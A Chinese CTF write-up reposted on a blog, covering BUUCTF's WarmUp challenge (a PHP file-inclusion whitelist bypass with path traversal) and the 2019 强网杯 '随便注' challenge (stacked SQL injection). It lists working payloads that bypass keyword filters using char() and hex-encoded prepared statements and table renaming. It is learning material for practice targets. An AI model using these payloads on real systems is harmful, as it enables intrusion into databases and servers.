BUUCTF WEB 菜比的做题总结

2024-06-07 11:38
文章标签 buuctf 总结 web 做题

本文主要是介绍BUUCTF WEB 菜比的做题总结,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

    • 前言:
    • BUUCTF web WarmUp
    • [强网杯 2019]随便注
      • 1.mysql 预处理语句 然后加 char ascii码绕过过滤
      • 2.同样是mysql预处理 但是用的是十六进制的方式 payload比第一个师傅要简单
      • 3.这个师傅的姿势是最骚的,也是比较容易读懂的

前言:

学了这么久的web基础,发现做题和看知识还是有很大区别,基础越扎实 web就越得心应手,各种师傅的姿势实在太多了!学习!!

BUUCTF web WarmUp

一天一道CTF题目,冲!!!!
在这里插入图片描述
F12 ------------》 source.php
在这里插入图片描述
里面还有hint.php
在这里插入图片描述

<?phpif (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  highlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}
?> 

我调制了代码的顺序,因为我太菜了,我总结的稍微细致一点,这是个代码审计,就我们调换顺序的代码而言

  1. 先检查参数是不是为空
  2. 检查参数是不是字符串构成
  3. 检查参数的内容是不是符合 checkfile函数的规定 返回true值

那么我们再来看下 checkfile函数是干嘛的

  1. 首先设置了个白名单,只包含了source.php 和 hint.php
  2. 检查page是否在白名单中,是的话返回true 接下来,两个函数一个mb_substr和mb_strpos,总的意思就是截取变量page中?前面的字符串,然后再进行白名单校验。
  3. 考虑了URL编码的缘故,再一次解码之后,进行校验。

我们来总结一下信息

  1. flag in ffffllllaaaagggg
  2. 原理是 phpmyadmin4.8.1的远程文件包含漏洞
  3. 构造payload 传递一个参数?file=source.php?/…/…/…/…/…/…/ffffllllaaaagggg
    在这里插入图片描述
    各位师傅构造的payload无非函数中返回true的地方不同,兄弟萌可以看看 phpmyadmin4.8.1的远程文件包含漏洞是怎么回事。

[强网杯 2019]随便注

提示了是sql注入,刚系统学完一遍sql注入,sqlmap这种东西没有灵魂,还是手工来吧,我自己还真做不出来,发现学完和会用还是差距很大的,我们来看题

  1. 首先上手用了1‘看了看有报错回显
  2. 然后用order by 猜了个字段列数
  3. 然后看回显的地方时候时候发现了有正则过滤了关键字
  4. 重点来了 ‘堆叠注入’的知识引入

在这里插入图片描述
1’ order by 2# 没报错 3 报错了
但是我有个疑问希望各位大师傅可以解答一下,为什么 --+注释在这里没法用 当时迷惑了很久
在这里插入图片描述
各种师傅的姿势都不一样 我给大家总结了三个师傅的姿势

1.mysql 预处理语句 然后加 char ascii码绕过过滤

输入
1						没有报错
1'						报错,证明存在注入
1' #					没有报错
1' order by 1 #			没有报错
1' order by 2 #			没有报错
1' order by 3 #			报错,证明存在两列, 但是并没有什么用
1' union select 1, 2 #	返回return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);很多关键字都被过滤了,就考虑堆叠注入
1' ; show databases; #	成功,说明存在堆叠注入
1' ; show tables; #		有两张表,分别看下两张表都有什么字段
1' ; show columns from words; #		没什么信息
1' ; show columns from `1919810931114514`; #	看到有flag字段

知识点1:堆叠注入
在SQL中,分号是用来表示一条sql语句的结束。如果在 ; 结束一个sql语句后继续构造下一条语句,效果就是分别执行两条sql语句。由于两条语句堆叠在同一行,而不是原本应该各自占据一行,所以这种注入成为堆叠注入。

知识点2
当数字型字符作为字段、表、库名查询时,应该用反单引号括起来

接下来就是要查询1919810931114514表中的flag字段,要用到select,但是被过滤了,看大佬的WP,又要用到sql的预处理

PREPARE sqla from '[my sql sequece]';  	 预定义SQL语句
EXECUTE sqla; 							 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  	 删除预定义SQL语句
通过变量进行传递
SET @tn = 'flag';  					存储表名
SET @sql = concat('select * from ', @tn);  		存储SQL语句
PREPARE sqla from @sql;   		预定义SQL语句
EXECUTE sqla;  				执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  	删除预定义SQL语句PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。
准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。

知识点3
mysql中可以用set给变量赋值,变量以@开头:set @var=1;

利用char()方法将ASCII码转换为SELECT字符串,接着利用concat()方法进行拼接获得查询的SQL语句

1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#
闭合	构造sql执行的语句													预处理						执行

————————————————
版权声明:本文为CSDN博主「JGC_fighting」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_42172261/article/details/101000286

2.同样是mysql预处理 但是用的是十六进制的方式 payload比第一个师傅要简单


1‘ //首先尝试的加引号,报错了
1’ # //正常
1‘ order by 1 # //用order by 测试得到列数为2
1' union select 1,2 # //回显了过滤规则 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

1’; show columns from 表名; #

不过有点问题,只有words有回显。(翻博客发现数字串为表名的表操作时要加反引号,加上之后发现的确有flag字段)
payload:(存储过程绕过)

http://web16.buuoj.cn/?inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#
使用了大小写绕过strstr($inject, "set") && strstr($inject, "prepare")
去掉URL编码后?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。

@a变量的16进制值转换一下,看看什么意思在这里插入图片描述
大师傅的姿势地址

3.这个师傅的姿势是最骚的,也是比较容易读懂的

可以看到1919810931114514中有我们想要的flag字段现在常规方法基本就结束了,要想获得flag就必须来点骚姿势了因为这里有两张表,会县内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢内部查询语句类似 : select id, data from word where id =(这里从上面的对word列的查询可以看到它是有两列,id和data)然后1919810931114514只有一个flag字段这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字这时候我们就可以已下面的骚姿势进行注入:1.将words表改名为word1或其它任意名字2.1919810931114514改名为words3.将新的word表插入一列,列名为id4.将flag列改名为data构造payload1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#接着我们再用1’ or 1=1 #,查询就得到flag
————————————————
版权声明:本文为CSDN博主「恋物语战场原」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_26406447/article/details/90643951

原文地址

大概原理就是网页页面显示的是words表中的 修改了表名 让页面直接显示出flag所在的表
这个师傅的wp也挺好

多练多动手,虽然越学越菜,但是希望自己不要被吓到,继续往前一点一点耐着性子去学!!一定会有回报的!!!

这篇关于BUUCTF WEB 菜比的做题总结的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1039073

相关文章

JSON Web Token在登陆中的使用过程

《JSONWebToken在登陆中的使用过程》:本文主要介绍JSONWebToken在登陆中的使用过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录JWT 介绍微服务架构中的 JWT 使用结合微服务网关的 JWT 验证1. 用户登录,生成 JWT2. 自定义过滤

一文教你如何将maven项目转成web项目

《一文教你如何将maven项目转成web项目》在软件开发过程中,有时我们需要将一个普通的Maven项目转换为Web项目,以便能够部署到Web容器中运行,本文将详细介绍如何通过简单的步骤完成这一转换过程... 目录准备工作步骤一:修改​​pom.XML​​1.1 添加​​packaging​​标签1.2 添加

java常见报错及解决方案总结

《java常见报错及解决方案总结》:本文主要介绍Java编程中常见错误类型及示例,包括语法错误、空指针异常、数组下标越界、类型转换异常、文件未找到异常、除以零异常、非法线程操作异常、方法未定义异常... 目录1. 语法错误 (Syntax Errors)示例 1:解决方案:2. 空指针异常 (NullPoi

Java反转字符串的五种方法总结

《Java反转字符串的五种方法总结》:本文主要介绍五种在Java中反转字符串的方法,包括使用StringBuilder的reverse()方法、字符数组、自定义StringBuilder方法、直接... 目录前言方法一:使用StringBuilder的reverse()方法方法二:使用字符数组方法三:使用自

Python依赖库的几种离线安装方法总结

《Python依赖库的几种离线安装方法总结》:本文主要介绍如何在Python中使用pip工具进行依赖库的安装和管理,包括如何导出和导入依赖包列表、如何下载和安装单个或多个库包及其依赖,以及如何指定... 目录前言一、如何copy一个python环境二、如何下载一个包及其依赖并安装三、如何导出requirem

web网络安全之跨站脚本攻击(XSS)详解

《web网络安全之跨站脚本攻击(XSS)详解》:本文主要介绍web网络安全之跨站脚本攻击(XSS)的相关资料,跨站脚本攻击XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本诱使用户执行,可能... 目录前言XSS 的类型1. 存储型 XSS(Stored XSS)示例:危害:2. 反射型 XSS(Re

Rust格式化输出方式总结

《Rust格式化输出方式总结》Rust提供了强大的格式化输出功能,通过std::fmt模块和相关的宏来实现,主要的输出宏包括println!和format!,它们支持多种格式化占位符,如{}、{:?}... 目录Rust格式化输出方式基本的格式化输出格式化占位符Format 特性总结Rust格式化输出方式

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

JavaWeb-WebSocket浏览器服务器双向通信方式

《JavaWeb-WebSocket浏览器服务器双向通信方式》文章介绍了WebSocket协议的工作原理和应用场景,包括与HTTP的对比,接着,详细介绍了如何在Java中使用WebSocket,包括配... 目录一、概述二、入门2.1 POM依赖2.2 编写配置类2.3 编写WebSocket服务2.4 浏

Python中连接不同数据库的方法总结

《Python中连接不同数据库的方法总结》在数据驱动的现代应用开发中,Python凭借其丰富的库和强大的生态系统,成为连接各种数据库的理想编程语言,下面我们就来看看如何使用Python实现连接常用的几... 目录一、连接mysql数据库二、连接PostgreSQL数据库三、连接SQLite数据库四、连接Mo